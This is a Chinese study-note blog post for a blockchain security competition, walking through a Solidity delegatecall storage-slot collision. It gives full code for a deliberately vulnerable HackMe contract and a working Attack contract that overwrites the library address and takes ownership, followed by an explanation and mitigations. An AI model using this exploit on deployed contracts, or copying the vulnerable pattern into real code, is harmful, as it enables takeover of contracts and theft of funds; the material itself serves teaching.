Allureluoli 二月FEBRUARY

区块链国赛笔记 21|合约安全实验:delegatecall 与存储槽覆盖

这个案例的重点是调用方和被调用代码使用了不同的存储布局。两次调用分别改变库地址和所有者。

本文由个人备赛旧笔记整理,整理日期为 2026-11-03。命令、输出和测试记录属于当时的实验环境;本文未重新搭建整套环境验证。

阅读前先确认

逐个列出各合约的 slot 0、slot 1、slot 2,再跟踪 delegatecall 写入哪个槽。调用执行的是外部代码,修改的是调用方的状态。

委托调用漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// SPDX许可证标识:MIT
pragma solidity ^0.8.17;

/*
这是先前漏洞利用的进阶版本。

Alice部署Lib合约及传入Lib地址的HackMe合约
Eve部署传入HackMe地址的Attack合约
Eve调用Attack.attack()
Attack合约现已成为HackMe的所有者
原理说明:
注意Lib和HackMe中的状态变量定义方式并不相同。这意味着调用Lib.doSomething()将会改变HackMe内的第一个状态变量,
而这个变量恰好是lib的地址。

在attack()函数中:
第一次doSomething()调用修改了HackMe中存储的lib地址,此时lib地址已被设置为Attack合约地址。
第二次doSomething()调用实际上执行了Attack.doSomething(),在这个函数中我们修改了所有者。
*/

contract Lib {
uint public someNumber;

function doSomething(uint _num) public {
someNumber = _num;
}
}

contract HackMe {
address public lib;
address public owner;
uint public someNumber;

constructor(address _lib) {
lib = _lib;
owner = msg.sender;
}

function doSomething(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
}
}

contract Attack {
// 保持与HackMe完全相同的存储布局
// 这样才能正确更新状态变量
address public lib;
address public owner;
uint public someNumber;

HackMe public hackMe;

constructor(HackMe _hackMe) {
hackMe = HackMe(_hackMe);
}

function attack() public {
// 覆盖lib地址(将本合约地址转换为uint160后转为uint256类型)
hackMe.doSomething(uint(uint160(address(this))));
// 传入任意数值参数,实际会触发下方doSomething()函数的执行
hackMe.doSomething(1);
}

// 函数签名必须与HackMe.doSomething()保持一致
function doSomething(uint _num) public {
owner = msg.sender;
}
}

漏洞原理分析

1. 存储布局不匹配

  • Lib合约的存储布局:someNumber (slot0)
  • HackMe合约的存储布局:lib (slot0), owner (slot1), someNumber (slot2)
  • 当HackMe通过delegatecall调用Lib.doSomething()时,Lib代码会在HackMe的存储上下文中执行

2. 关键攻击向量

1
2
3
4
5
6
7
8
// 第一次调用:修改lib地址为攻击合约地址

hackMe.doSomething(uint(uint160(address(this))));


// 第二次调用:实际执行Attack.doSomething(),修改owner

hackMe.doSomething(1);

存储槽覆盖

  • Lib.doSomething()中的someNumber = _num实际上会写入HackMe的slot0(即lib变量)
  • 这导致lib地址被恶意替换为攻击合约地址

权限提升

  • 攻击合约通过伪装成lib合约,获得执行delegatecall的权限
  • 在第二次调用时,攻击合约的doSomething()函数修改了owner变量

  1. 避免使用delegatecall:除非绝对必要,否则避免使用delegatecall
  2. 存储隔离:库合约和主合约应使用相同的存储布局
  3. 输入验证:对所有外部调用参数进行严格验证
  4. 权限控制:限制敏感函数的调用权限
  5. 使用标准库:优先使用经过审计的标准库合约

复现时的自查

  • 记录自己实际使用的版本、配置和缺失依赖。
  • 对照本篇关键步骤,保存命令或调用结果,并解释结果代表什么。
  • 对失败或与原记录不一致的情况保留错误信息,不把历史输出当成自己的验证结果。

返回系列导读 · 上一篇 · 下一篇

评论COMMENTS